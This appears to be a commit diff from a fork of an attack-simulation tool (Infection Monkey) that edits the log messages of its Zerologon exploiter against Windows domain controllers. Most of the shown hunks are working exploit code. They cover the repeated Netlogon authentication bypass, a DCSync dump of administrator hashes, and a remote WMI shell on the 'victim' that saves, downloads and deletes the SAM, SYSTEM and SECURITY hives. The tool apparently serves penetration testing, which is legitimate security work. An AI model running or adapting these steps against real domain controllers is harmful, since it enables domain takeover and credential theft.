forked from p15670423/monkey
Improve log messages and comments
This commit is contained in:
parent
13ef69c3ed
commit
1cf07eff89
|
@ -17,7 +17,6 @@ import sys
|
||||||
import time
|
import time
|
||||||
import traceback
|
import traceback
|
||||||
from binascii import hexlify, unhexlify
|
from binascii import hexlify, unhexlify
|
||||||
from typing import List
|
|
||||||
|
|
||||||
import impacket
|
import impacket
|
||||||
from Cryptodome.Cipher import AES, ARC4, DES
|
from Cryptodome.Cipher import AES, ARC4, DES
|
||||||
|
@ -111,26 +110,26 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Start exploiting attempts.
|
# Start exploiting attempts.
|
||||||
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
# Max attempts = 2000. Expected average number of attempts needed: 256.
|
||||||
|
LOG.debug("Attempting exploit.")
|
||||||
result = None
|
result = None
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
try:
|
try:
|
||||||
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
result = self.attempt_exploit(DC_HANDLE, rpc_con, DC_NAME)
|
||||||
except nrpc.DCERPCSessionError as ex:
|
except nrpc.DCERPCSessionError as e:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
# Failure should be due to a STATUS_ACCESS_DENIED error.
|
||||||
# Otherwise, the attack is probably not working.
|
# Otherwise, the attack is probably not working.
|
||||||
if ex.get_error_code() != 0xc0000022:
|
if e.get_error_code() != 0xc0000022:
|
||||||
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
|
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||||
except BaseException as ex:
|
except BaseException as e:
|
||||||
LOG.info(f"Unexpected error: {ex}")
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
if result is not None:
|
if result is not None:
|
||||||
break
|
break
|
||||||
|
|
||||||
LOG.debug(f"Result error code: {result['ErrorCode']}")
|
|
||||||
if result['ErrorCode'] == 0:
|
if result['ErrorCode'] == 0:
|
||||||
LOG.info("Exploit complete!")
|
LOG.info("Exploit complete!")
|
||||||
else:
|
else:
|
||||||
LOG.info("Non-zero return code, something went wrong.")
|
LOG.info(f"Non-zero return code: {result['ErrorCode']}. Something went wrong.")
|
||||||
|
|
||||||
_exploited = True
|
_exploited = True
|
||||||
|
|
||||||
|
@ -142,11 +141,14 @@ class ZerologonExploiter(HostExploiter):
|
||||||
|
|
||||||
# Restore DC's original password.
|
# Restore DC's original password.
|
||||||
if _exploited:
|
if _exploited:
|
||||||
try:
|
if self.restore_password(DC_HANDLE, DC_IP, DC_NAME):
|
||||||
self.restore_password(DC_HANDLE, DC_IP, DC_NAME)
|
|
||||||
LOG.info("System exploited and password restored successfully.")
|
LOG.info("System exploited and password restored successfully.")
|
||||||
except:
|
else:
|
||||||
LOG.info("System exploited but couldn't restore password!")
|
LOG.info("System exploited but couldn't restore password!")
|
||||||
|
else:
|
||||||
|
LOG.info("System was not exploited.")
|
||||||
|
|
||||||
|
return _exploited
|
||||||
|
|
||||||
def is_exploitable(self):
|
def is_exploitable(self):
|
||||||
return self.zerologon_finger.get_host_fingerprint(self.host)
|
return self.zerologon_finger.get_host_fingerprint(self.host)
|
||||||
|
@ -175,32 +177,35 @@ class ZerologonExploiter(HostExploiter):
|
||||||
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
|
def restore_password(self, DC_HANDLE, DC_IP, DC_NAME):
|
||||||
LOG.info("Restoring original password...")
|
LOG.info("Restoring original password...")
|
||||||
|
|
||||||
LOG.info("DCSync; getting original password hashes.")
|
LOG.debug("DCSync; getting admin password's hashes.")
|
||||||
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
|
admin_pwd_hashes = self.get_admin_pwd_hashes(DC_NAME, DC_IP)
|
||||||
|
|
||||||
try:
|
try:
|
||||||
if not admin_pwd_hashes:
|
if not admin_pwd_hashes:
|
||||||
raise Exception("Couldn't extract admin password's hashes.")
|
raise Exception("Couldn't extract admin password's hashes.")
|
||||||
|
|
||||||
|
LOG.debug("Getting original DC password's nthash.")
|
||||||
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
|
original_pwd_nthash = self.get_original_pwd_nthash(DC_IP, admin_pwd_hashes)
|
||||||
if not original_pwd_nthash:
|
if not original_pwd_nthash:
|
||||||
raise Exception("Couldn't extract original DC password's nthash.")
|
raise Exception("Couldn't extract original DC password's nthash.")
|
||||||
|
|
||||||
# Keep authenticating until successful.
|
# Keep authenticating until successful.
|
||||||
|
LOG.debug("Attempting password restoration.")
|
||||||
for _ in range(0, self.MAX_ATTEMPTS):
|
for _ in range(0, self.MAX_ATTEMPTS):
|
||||||
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
rpc_con = self.attempt_restoration(DC_HANDLE, DC_IP, DC_NAME, original_pwd_nthash)
|
||||||
if rpc_con is not None:
|
if rpc_con is not None:
|
||||||
break
|
break
|
||||||
|
|
||||||
if rpc_con:
|
if rpc_con:
|
||||||
LOG.info("DC machine account password should be restored to its original value.")
|
LOG.debug("DC machine account password should be restored to its original value.")
|
||||||
|
return True
|
||||||
else:
|
else:
|
||||||
LOG.info("Failed to restore password.")
|
raise Exception("Failed to restore password! Max attempts exceeded?")
|
||||||
|
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
LOG.error(e)
|
LOG.error(e)
|
||||||
|
|
||||||
def get_admin_pwd_hashes(self, DC_NAME, DC_IP) -> str:
|
def get_admin_pwd_hashes(self, DC_NAME, DC_IP):
|
||||||
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
options = self.OPTIONS_FOR_SECRETSDUMP.copy()
|
||||||
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
options['target'] = '$@'.join([DC_NAME, DC_IP]) # format for DC account - "NetBIOSName$@0.0.0.0"
|
||||||
options['target_ip'] = DC_IP
|
options['target_ip'] = DC_IP
|
||||||
|
@ -214,7 +219,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
hashes = secret.split(':')[2:4] # format of secret - "domain\uid:rid:lmhash:nthash:::"
|
||||||
return ':'.join(hashes) # format - "lmhash:nthash"
|
return ':'.join(hashes) # format - "lmhash:nthash"
|
||||||
|
|
||||||
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes) -> str:
|
def get_original_pwd_nthash(self, DC_IP, admin_pwd_hashes):
|
||||||
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
|
if not self.save_HKLM_keys_locally(DC_IP, admin_pwd_hashes):
|
||||||
return
|
return
|
||||||
|
|
||||||
|
@ -230,12 +235,14 @@ class ZerologonExploiter(HostExploiter):
|
||||||
nthash = secret.split(':')[2]
|
nthash = secret.split(':')[2]
|
||||||
return nthash
|
return nthash
|
||||||
|
|
||||||
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain='') -> List[str]:
|
def get_dumped_secrets(self, options, remote_name='', username='', password='', domain=''):
|
||||||
dumper = DumpSecrets(remote_name, username, password, domain, options)
|
dumper = DumpSecrets(remote_name, username, password, domain, options)
|
||||||
dumped_secrets = dumper.dump().split('\n')
|
dumped_secrets = dumper.dump().split('\n')
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
|
def save_HKLM_keys_locally(self, DC_IP, admin_pwd_hashes):
|
||||||
|
LOG.debug("Starting remote shell on victim.")
|
||||||
|
|
||||||
wmiexec = Wmiexec(ip=DC_IP,
|
wmiexec = Wmiexec(ip=DC_IP,
|
||||||
username='Administrator',
|
username='Administrator',
|
||||||
hashes=admin_pwd_hashes,
|
hashes=admin_pwd_hashes,
|
||||||
|
@ -245,7 +252,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
if remote_shell:
|
if remote_shell:
|
||||||
_set_stdout_to_in_memory_text_stream()
|
_set_stdout_to_in_memory_text_stream()
|
||||||
|
|
||||||
# Save HKLM keys on host.
|
# Save HKLM keys on victim.
|
||||||
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
|
shell.onecmd('reg save HKLM\SYSTEM system.save && ' +
|
||||||
'reg save HKLM\SAM sam.save && ' +
|
'reg save HKLM\SAM sam.save && ' +
|
||||||
'reg save HKLM\SECURITY security.save')
|
'reg save HKLM\SECURITY security.save')
|
||||||
|
@ -255,7 +262,7 @@ class ZerologonExploiter(HostExploiter):
|
||||||
shell.onecmd('get sam.save')
|
shell.onecmd('get sam.save')
|
||||||
shell.onecmd('get security.save')
|
shell.onecmd('get security.save')
|
||||||
|
|
||||||
# Delete saved keys on host.
|
# Delete saved keys on victim.
|
||||||
shell.onecmd('del /f system.save sam.save security.save')
|
shell.onecmd('del /f system.save sam.save security.save')
|
||||||
|
|
||||||
info = _unset_stdout_and_return_captured()
|
info = _unset_stdout_and_return_captured()
|
||||||
|
@ -310,20 +317,20 @@ class ZerologonExploiter(HostExploiter):
|
||||||
resp = rpc_con.request(request)
|
resp = rpc_con.request(request)
|
||||||
resp.dump()
|
resp.dump()
|
||||||
|
|
||||||
except Exception as ex:
|
except Exception as e:
|
||||||
LOG.info(f"Unexpected error: {ex}")
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
return rpc_con
|
return rpc_con
|
||||||
|
|
||||||
except nrpc.DCERPCSessionError as ex:
|
except nrpc.DCERPCSessionError as e:
|
||||||
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
|
# Failure should be due to a STATUS_ACCESS_DENIED error; otherwise, the attack is probably not working.
|
||||||
if ex.get_error_code() == 0xc0000022:
|
if e.get_error_code() == 0xc0000022:
|
||||||
return None
|
return None
|
||||||
else:
|
else:
|
||||||
LOG.info(f"Unexpected error code from DC: {ex.get_error_code()}")
|
LOG.info(f"Unexpected error code from DC: {e.get_error_code()}")
|
||||||
|
|
||||||
except BaseException as ex:
|
except BaseException as e:
|
||||||
LOG.info(f"Unexpected error: {ex}")
|
LOG.info(f"Unexpected error: {e}")
|
||||||
|
|
||||||
|
|
||||||
class NetrServerPasswordSet(nrpc.NDRCALL):
|
class NetrServerPasswordSet(nrpc.NDRCALL):
|
||||||
|
@ -525,7 +532,7 @@ class DumpSecrets:
|
||||||
return dumped_secrets
|
return dumped_secrets
|
||||||
|
|
||||||
def cleanup(self):
|
def cleanup(self):
|
||||||
LOG.info('Cleaning up...')
|
LOG.debug('Cleaning up...')
|
||||||
if self.__remote_ops:
|
if self.__remote_ops:
|
||||||
self.__remote_ops.finish()
|
self.__remote_ops.finish()
|
||||||
if self.__SAM_hashes:
|
if self.__SAM_hashes:
|
||||||
|
|
Loading…
Reference in New Issue